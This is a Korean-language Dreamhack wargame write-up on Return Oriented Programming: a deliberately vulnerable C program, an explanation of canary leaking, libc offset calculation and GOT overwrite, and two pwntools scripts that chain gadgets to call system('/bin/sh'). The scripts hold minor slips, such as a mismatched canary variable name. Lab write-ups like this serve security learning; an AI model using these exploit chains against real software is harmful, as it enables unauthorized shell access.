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Dreamhack의 개인 문제 풀이 기록입니다. 원문에 남아 있는 실습 주소·플래그와 실패·미완료 결과를 그대로 보존했습니다.
Return Oriented Programming
ROP는 리턴 가젯을 사용하여 복잡한 실행 흐름을 구현하는 기법이다. 공격자는 이를 이용해 문제 상황에 맞춰 return to library, return to dl-resolve, GOT overwrite 등의 페이로드를 구성할 수 있다.
// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
printf("Buf: %s\\n", buf);
// Do ROP
puts("[2] Input ROP payload");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
return 0;
}익스플로잇 설계
1. 카나리 우회
2. system 함수의 주소 계산
system 함수는 libc.so.6에 정의되어 있으며, 해당 라이브러리에는 이 바이너리가 호출하는 read, puts, printf도 정의되어 있다. 라이브러리 파일은 메모리에 매핑될 때 전체가 매핑되므로, 다른 함수들과 함께 system 함수도 프로세스 메모리에 같이 적재된다.
바이너리가 system 함수를 직접 호출하지 않아서 system 함수가 GOT에는 등록되지 않는다. 그러나 read, puts, printf는 GOT에 등록되어 있다. main 함수에서 반환될 때는 이 함수들을 모두 호출한 이후이므로, 이들의 GOT를 읽을 수 있다면 libc.so.6가 매핑된 영역의 주소를 구할 수 있다.
libc에는 여러 버전이 있는데 같은 libc안에서 두 데이터 사이의 거리(Offset)는 항상 같다. 그러므로 사용하는 libc의 버전을 알 때, libc가 매핑된 영역의 임의 주소를 구할 수 있으면 다른 데이터의 주소를 모두 계산할 수 있다.
예를 들어, Ubuntu GLIBC 2.35-0ubuntu3.1에서 read 함수와 system 함수 사이의 거리는 항상 0xc3c20다. 따라서 read함수의 주소를 알 때, system = read - 0xc3c20으로 system 함수의 주소를 구할 수 있다. libc 파일이 있으면 다음과 같이 readelf 명령어로 함수의 오프셋을 구할 수 있다.
$ readelf -s libc.so.6 | grep " read@"
289: 0000000000114980 157 FUNC GLOBAL DEFAULT 15 read@@GLIBC_2.2.5
$ readelf -s libc.so.6 | grep " system@"
1481: 0000000000050d60 45 FUNC WEAK DEFAULT 15 system@@GLIBC_2.2.5read 함수의 오프셋은 0x114980 이고, system 함수의 오프셋은 0x50d60다. 0x114980 에서 0xc3c20 를 빼면 system 함수의 오프셋인 0x50d60 를 얻을 수 있다.
rop.c에서는 read , puts , printf 가 GOT에 등록되어 있으므로, 하나의 함수를 정해서 그 함수의 GOT 값을 읽고, 그 함수의 주소와 system 함수 사이의 거리를 이용해서 system 함수의 주소를 구해낼 수 있을 것이다.
3. “/bin/sh”
이 바이너리는 데이터 영역에 “/bin/sh” 문자열이 없다. 따라서 이 문자열을 임의 버퍼에 직접 주입하여 참조하거나, 다른 파일에 포함된 것을 사용해야 한다. 후자의 방법을 선택할 때 많이 사용되는 것이 libc.so.6에 포함된 “/bin/sh” 문자열이다.
이 문자열의 주소도 system 함수의 주소를 계산할 때처럼 libc 영역의 임의 주소를 구하고, 그 주소로부터 거리를 더하거나 빼서 계산할 수 있다. 이 방법은 주소를 알고 있는 버퍼에 “/bin/sh”를 입력하기 어려울 때 차선책으로 사용될 수 있다.
$ gdb rop
pwndbg> start
pwndbg> search /bin/sh
Searching for value: '/bin/sh'
libc.so.6 0x7ffff7f5a698 0x68732f6e69622f /* '/bin/sh' */4. GOT Overwrite
system 함수와 "/bin/sh" 문자열의 주소를 알고 있으므로, 지난 코스에서처럼 pop rdi; ret 가젯을 활용하여 system(“/bin/sh”)를 호출할 수 있습니다. 그러나 system 함수의 주소를 알았을 때는 이미 ROP 페이로드가 전송된 이후이므로, 알아낸 system 함수의 주소를 페이로드에 사용하려면 main함수로 돌아가서 다시 버퍼 오버플로우를 일으켜야 한다. 이러한 공격 패턴을 ret2main이라고 부르는데, 이번에는 GOT Overwrite 기법을 통해 한 번에 셸을 획득해보자.
Library - Dynamic Link VS. Static Link에서 Lazy binding에 대해 배운 내용을 정리해보면 다음과 같습니다.
- 호출할 라이브러리 함수의 주소를 프로세스에 매핑된 라이브러리에서 찾는다.
- 찾은 주소를 GOT에 적고, 이를 호출한다.
- 해당 함수를 다시 호출할 경우, GOT에 적힌 주소를 그대로 참조한다.
위 과정에서 GOT Overwrite에 이용되는 부분은 3번이다. GOT에 적힌 주소를 검증하지 않고 참조하므로 GOT에 적힌 주소를 변조할 수 있다면, 해당 함수가 재 호출될 때 공격자가 원하는 코드가 실행되게 할 수 있다.
알아낸 system 함수의 주소를 어떤 함수의 GOT에 쓰고, 그 함수를 재 호출하도록 ROP 체인을 구성하면 될 것이다.
system 함수의 주소 계산
read 함수의 got를 읽고, read 함수와 system 함수의 오프셋을 이용하여 system 함수의 주소를 계산해보자. pwntools에는 ELF.symbols라는 메소드가 정의되어 있는데, 특정 ELF에서 심볼 사이의 오프셋을 계산할 때 유용하게 사용될 수 있다.
예를 들어, 사용하는 libc가 /lib/x86_64-linux-gnu/libc.so.6 일 때, 다음 코드로 system 함수와 read 함수의 오프셋을 구할 수 있다.
write 와 pop rdi; ret 가젯 그리고 pop rsi; pop r15; ret 가젯을 사용하여 read 함수의 GOT를 읽고, 이를 이용해서 system 함수의 주소를 구하는 페이로드를 작성해보자.
from pwn import *
def slog(name, addr): return success(': '.join([name, hex(addr)]))
p = process('./rop')
e = ELF('./rop')
libc = ELF('./libc.so.6')
# [1] Leak canary
payload = b'A' * 0x39
p.sendafter(b'Buf: ', payload)
p.recvuntil(payload)
canary = u64(b'\\x00' + p.recvn(7))
slog('canary', canary)
#[2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
payload = b'A'*0x38 + p64(cnry) + b'B'*0x8
# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
slog('read', read)
slog('libc_base', lb)
slog('system', system)
p.interactive()GOT Overwrite 및 "/bin/sh" 입력
"/bin/sh"는 덮어쓸 GOT 엔트리 뒤에 같이 입력하면 된다. 이 바이너리에서는 입력을 위해 read 함수를 사용할 수 있다. read 함수는 입력 스트림, 입력 버퍼, 입력 길이 총 세 개의 인자를 필요로 한다. 함수 호출 규약에 따르면 설정해야 하는 레지스터는 rdi, rsi, rdx다.
DKVDML EN DLSWKSMS pop rdi ; ret 와 pop rsi; pop r15 ; ret 가젯으로 쉽게 설정할 수 있다. 그런데 마지막 rdx와 관련된 가젯은 바이너리에서 찾기 어렵다. 이 바이너리뿐만 아니라, 일반적인 바이너리에서도 rdx와 관련된 가젯은 찾기가 어렵다.
이럴때 libc의 코드 가젯이나, libc_csu_init 가젯을 사용하여 문제를 해결할 수 있다. 또는 rdx의 값을 변화시키는 함수를 호출해서 값을 설정할 수도 있다. 예를 들어 strncmp 함수는 rax로 비교의 결과를 반환하고, rdx로 두 문자열의 첫 번째 문자부터 가장 긴 부분 문자열의 길이를 반환한다.
$ ROPgadget --binary ./libc.so.6 --re "pop rdx"
...
0x000000000011f497 : pop rdx ; pop r12 ; ret
0x0000000000090529 : pop rdx ; pop rbx ; ret
...
0x0000000000108b13 : pop rdx ; pop rcx ; pop rbx ; ret
...
여기선 read 함수, pop rdi ; ret, pop rsi ; pop r15 ; ret 가젯을 이용하여 read의 GOT를 system 함수의 주소로 덮고, read_got + 8 에 "/bin/sh" 문자열을 쓰는 익스플로잇을 작성해보자.
#!/usr/bin/env python3
# Name: rop.py
from pwn import *
def slog(name, addr): return success(': '.join([name, hex(addr)]))
p = process('./rop')
e = ELF('./rop')
libc = ELF('./libc.so.6')
# [1] Leak canary
buf = b'A'*0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\\x00' + p.recvn(7))
slog('canary', cnry)
# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
ret = 0x0000000000400854
payload = b'A'*0x38 + p64(cnry) + b'B'*0x8
# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
# read(0, read_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)
p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
slog('read', read)
slog('libc_base', lb)
slog('system', system)
p.send(p64(system) + b'/bin/sh\\x00')작성 기록과 문제 출처
원문과 출처
풀이와 설명: MadEyE / 이선용의 개인 Notion 기록.
문제에서 제공한 코드·서비스 화면과 외부 참고자료의 권리는 해당 작성자와 플랫폼에 있습니다.
원문 본문·코드·실습 증적을 보존했으며, 원문에 포함된 외부 글은 참고 링크로 안내합니다.
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